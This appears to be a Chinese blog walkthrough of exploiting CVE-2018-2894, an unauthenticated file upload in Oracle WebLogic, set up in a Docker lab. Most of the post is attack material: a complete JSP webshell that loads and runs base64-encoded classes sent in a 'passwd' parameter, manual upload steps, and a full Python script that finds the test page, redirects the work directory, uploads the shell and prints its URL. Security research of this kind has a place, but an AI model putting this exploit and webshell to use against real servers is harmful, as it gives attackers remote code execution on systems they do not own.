CVE-2018-2894WebLogic未授权任意文件上传

2023-11-18

CVE-2018-2894WebLogic未授权任意文件上传

这个洞的限制就比较多了

限制版本

Oracle WebLogic Server版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

限制配置

该漏洞的影响模块为web服务测试页,在默认情况下不启用
/ws_utc/config.do
/ws_utc/begin.do

默认情况下不启用的意思就是,这个洞看脸,管理员开没开这个模式,不过现在基本上就没有了应该

但是还是尝试复现一下,所以手动开启

登录控制台-》base_domain-》高级-》勾选启用Web服务测试页 -》保存

登陆就直接ip:7001/console就跳转到登陆页面了

登陆的账号密码

docker-compose logs | grep password

image-20230413162356031

  1. 直接在kali上拉取镜像

    weblogic:172.20.0.2:7001

  2. 登陆开启Web服务测试页

    image-20230413162741535

    别忘了保存

  3. 接下来模拟攻击,换个没登陆的浏览器访问

    /ws_utc/config.do

    设置Work Home Dir为

    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

    image-20230413162956960

  4. 准备jsp webshell

    连接密码passwd

    原帖地址:https://blog.csdn.net/qq_43615820/article/details/116357744

    <%!
        class U extends ClassLoader {
            U(ClassLoader c) {
                super(c);
            }
            public Class g(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
     
        public byte[] base64Decode(String str) throws Exception {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (Exception e) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        }
    %>
    <%
        String cls = request.getParameter("passwd");
        if (cls != null) {
            new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
        }
    %>
    
  5. 上传,注意先开burp再上传,回包中查看时间戳,文件在http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

    image-20230413163836638

    image-20230413164524265

  6. 访问一句话木马看看传没传上去

    http://192.168.27.137:7001/ws_utc/css/config/keystore/1681375502098_passwd.jsp

    image-20230413164709603

  7. 蚁剑连接

    image-20230413164754026

    成功getshell

接下来尝试写个py脚本

挑战自己!

经过前面的复现,我认为利用漏洞其实主要在未授权的一个页面

http://192.168.27.137:7001/ws_utc/config.do

后来查了一下如何检测是否开启测试页面

http://192.168.27.137:7001/ws_utc/resources/setting/options/general 如果成功访问到该页面证明开启了

image-20230413170154503

开写!

import re
import requests
def text(host):
    payload1="http://"+host+"/ws_utc/resources/setting/options/general" #拼接地址
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
    }#搞个ua省的被防爬虫干掉

    try:
        req=requests.get(payload1,headers=header)
        if req.status_code == 404 : #状态码检测 404 说明不存在该漏洞
            exit("{} 不存在CVE-2018-2894".format(host))
        elif "</defaultValue>" in req.text:
            print("存在该漏洞")
            return 1
    except:
        exit("error host")

来解释一下这个函数,非常简单,直接发一个请求给/ws_utc/resources/setting/options/general,如果回包的状态码是404则漏洞不存在,如果存在关键词则说明漏洞可能存在

第二步,修改路径,先手动修改一下抓个包,看看传到那了,传什么了

image-20230413191154693

发现上传路径与参数,直接开些

def change_path(host):
    data={
        "setting_id":"general", 		     "BasicConfigOptions.workDir":"/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css",
        "BasicConfigOptions.proxyHost":"",
        "BasicConfigOptions.proxyPort":"80"
    }
    payload = "http://" + host + "/ws_utc/resources/setting/options"  # 拼接地址
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
    }  # 搞个ua省的被防爬虫干掉
    print(payload)
    try:
        req = requests.post(payload,headers=header,data=data)
        if req.status_code == 200:  #
            return "修改成功"
        else:
            exit("错误")
    except:
        exit("error host")

定义data 把抓到的包中的参数写进来,注意workDir,要写

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

定义payload,把目标地址拿下来

直接发包,状态码如果为200,则修改成功

第三步!上传文件!

还是老套路,先手动传一个,看看目标地址和参数

image-20230413192057804

看到如上的参数,再看看目标地址

image-20230413192139912

看到这个地址我一惊,这有个时间戳,那还得动态获取这个地址,但是!我放到重发器里试了一下,发现这玩意没啥用,那就直接搞代码吧!

def upload_jsp(host):
    payload = "http://" + host + "/ws_utc/resources/setting/keystore"  # 拼接地址
    file={
        "ks_name":"a",
        "ks_edit_mode":"false",
        "ks_password_front":"1",
        "ks_password":"1",
        "ks_password_changed":"true",
        "ks_filename":"passwd.jsp",
        'file': open('./need/passwd.jsp', 'rb')
    }
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
    }
    request = requests.post(payload, files=file)
    response = request.text
    match = re.findall("<id>(.*?)</id>", response)
    if match:
        tid = match[-1]
    shell_path = "http://"+host + "/ws_utc/css/config/keystore/" +str(tid) + "_passwd.jsp"
    if requests.get(shell_path,headers=header).status_code==200:
        print("{} 存在 CVE-2018-2894".format(host))
        print("webshell path:{}".format(shell_path))
    else:
        print("[-] {} don't exists CVE-2018-2894".format(host))

这里面值得说的:
file中最后一个参数要导入木马文件哦

前面说到上传文件的命名是时间戳_文件名,使用正则匹配获取这个id,但是观察数据包发现回包中有所有文件的id,所以取最后一个(新上传的),match[-1]

然后发包,发包后访问一下shell页面,如果状态码为200,则可能上传成功,发出提示,如果没有则说明上传失败

最后!写个主函数

if __name__=='__main__':

    host="" #例子 192.168.0.17:7001
    if text(host)==1:
        change_path(host)
        upload_jsp(host)
    else:
        exit()

这个就没啥好说的了,用VPS开了一个靶场,跑一下试试

image-20230413193153442

image-20230413193416776

成功咯!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CVE-2018-2894WebLogic未授权任意文件上传 的相关文章

随机推荐

  • 大数据导论习题_hive SQL基础经典练习题(上)

    练习题改自经典 练习题 原作者用的是MySQL环境 现笔者所写码环境为Hive hive SQL 入门容易 精通很难 基础的巩固相当重要 看起来简单易入门的SQL其实是千变万化的 能一次写正确SQL的工程师 亦然遵守二八法则 编程环境 hi
  • Java虚拟机篇

    1 组成 1 JVM 是由哪几部分组成的 JVM Java virtual machine 是 Java 程序的运行环境 它同时也是一个操作系统的一个应用程序 因此 JVM 也有他自己的运行生命周期 也有自己的代码和数据空间 image p
  • 每一座屎山代码背后,都藏着一堆熟读代码规范的研发

    导读 韩寒在 他的国 中写道 我们懂很多道理 却依然过不好这一生 人们虽然知道很多道理 但并不一定能将这些道理应用到实际生活中 这种现象在生活中很常见 我们听了很多的成功学的道理 但实际上 成功和幸福不是仅仅靠这些道理就能实现的 需要不断地
  • Linux脚本错误:没有那个文件或目录

    linux下执行脚本的时候报错 没有那个文件或目录 ls看一下 是有文件的 原因 文件格式错误 首先 vim filename查看文件 然后用命令 set ff看文件格式 可看到dos或unix的字样 如果的确是dos格式的 需要改成uni
  • 判断是否为二分图的两种算法 dfs/bfs

    判断是否为二分图的两种算法 dfs bfs 判断一个无向图是不是二分图 使用染色法 对每个顶点的相邻顶点染与顶点不同的颜色 如果染过色且与顶点颜色相同 则不是二分图 author 熊谦智 判断该图是否为二分图 1 判断无向图是否有环 如果图
  • MySQL 优化

    一 服务器配置优化 1 增加内存容量 内存容量是影响MySQL性能的重要因素之一 在MySQL中 有一个名为 缓冲池 的内存区域 用于缓存数据和索引 如果缓冲池太小 MySQL将频繁地从磁盘中读取数据 从而导致性能下降 因此 增加内存容量可
  • linux 修改密码命令

    1 passwd命令 脚本中语法 echo password passwd testuser stdin gt dev null 2 gt 1 或 echo newpasswd sleep 1 echo newpasswd passwd g
  • 猿人学做题笔记

    简单记录一下做题的思路步骤 1 第一题说的是无混淆加密 简单 刚开始观察请求 发现链接和请求携带的参数都没有什么异常 然后直接请求会拿不到数据 于是仔细看了一下请求包 发现请求头里面有些东西比较异常 里面有一个safe参数和timestam
  • k近邻算法中k值得选择

    k值得选择会对k近邻的结果产生重大的影响 如果选择较小的K值 就相当于用较小的邻域中的训练实例进行预测 学习 的近似误差会减小 只有输入实例较近的训练实例才会对预测结果起作用 但缺点是 学习 的估计误差会增大 预测结果会对近邻实例点非常敏感
  • 阿里云服务器部署javaweb

    1 首先购买服务器和域名 服务器类型选择 云服务器ecs 不要选择突发性能型 域名自便 注 域名解析需要备案 此类型服务器要求有效期大于三个月才可以备案 服务器设置 安全组规则设置 开放相应端口号 22 23 80 433 1433 330
  • 微信小程序中的数据更新实时显示,setData函数

    setData函数包括上一篇中的onLoad onShow onReady onHide以及onUnload函数均在微信小程序开发文档中的Page Object object 一栏中可查到 setData函数用于在小程序中动态更新数据并在屏
  • chat gpt的提示词汇总

    提示词的存在让ChatGPT能够扮演特定的角色 对用户的回答更加专业对口 ChatGPT在日常的对话中 表现的非常的完美 当在其他的场景希望使用ChatGPT来解决问题的时候 通常需要给ChatGPT一些提示 或者说暗示 让其进入某种角色
  • VS2019安装Qt插件教程,发现下载不了问题解决

    1 打开VS 最上方工具栏中点击扩展窗口 选择管理扩展 2 在右边搜索中搜索qt出现以下界面 这时可能出现问题 再点击下载发现迟迟下载不了 或者是下载到一定地步后无法下载 再或者是下载完成后安装无反应 解决办法 点击有点的详细信息或者进入如
  • 每天学命令Net Properties

    get property var name property clock clock name view view name quiet 介绍一下get property命令里面的Net property属性 命令的用法参考下面链接 每天学
  • 缓存雪崩、缓存穿透、缓存预热、缓存更新、缓存降级的说明及处理策略

    缓存雪崩 缓存雪崩我们可以简单的理解为 由于原有缓存失效 新缓存未到期间所有原本应该访问缓存的请求都去查询数据库了 而对数据库 CPU 和内存造成巨大压力 严重的会造成数据库宕机 从而形成一系列连锁反应 造成整个系统崩溃 一般有三种处理办法
  • mysql之函数25

    1 函数 mysql的函数和存储过程几乎是一样的 区别是函数有且只有一个返回值 而存储过程可以有0个返回 也可以有多个返回 所以有的mysql界面操作直接将存储过程和函数合并 下面是函数的总结 主要注意一下和存储过程的区别和语法 然后再看几
  • 系统架构设计高级技能 · 通信系统架构设计理论与实践

    现在的一切都是为将来的梦想编织翅膀 让梦想在现实中展翅高飞 Now everything is for the future of dream weaving wings let the dream fly in reality 点击进入系
  • qt设置样式qss中border-image和background-image的区别

    如果你需要使用背景图片 代码中一般这么写 btnOk gt setStyleSheet QPushButton border image url Shield button bg png color white 或者 btnOk gt se
  • 如何彻底卸载360安全卫士

    问题 在网页上下载了个插件 不小心下载了捆绑软件360 用geek卸载360安全卫士后 发现程序面板和电脑管家的软件都不显示360了 但是开机还是有360启动提示 就知道根本没卸干净 主程序还在 在各个盘搜索360 也搜不到安装路径 真的离
  • CVE-2018-2894WebLogic未授权任意文件上传

    CVE 2018 2894WebLogic未授权任意文件上传 这个洞的限制就比较多了 限制版本 Oracle WebLogic Server版本 10 3 6 0 12 1 3 0 12 2 1 2 12 2 1 3 限制配置 该漏洞的影响